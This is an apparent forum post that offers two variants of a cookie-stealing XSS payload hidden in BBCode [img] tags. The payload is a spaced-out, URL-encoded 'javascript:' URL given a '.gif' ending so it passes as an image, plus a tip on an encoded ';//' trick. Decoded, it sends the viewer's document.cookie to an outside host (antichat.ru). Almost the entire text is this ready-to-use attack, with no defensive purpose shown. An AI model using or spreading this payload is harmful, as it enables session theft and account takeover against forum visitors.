Maybe, it should have .gif on the end
[img]j a v a s c r i p t:%69%6D%67%3D%6E%65%77%2F%2A%2A%2F%49%6D%61%67%65 %28%29%3B%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3 A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67% 69%2D%62%69%6E%2F%73%2E%6A%70%67%3F%22%2B%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B.gif[/img]
or
[img]j a v a s c r i p t:%69%6D%67%3D%6E%65%77%2F%2A%2A%2F%49%6D%61%67%65 %28%29%3B%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3 A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67% 69%2D%62%69%6E%2F%73%2E%6A%70%67%3F%22%2B%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%2F/image.gif[/img]
don't forget about %3B%2F/ is't ;//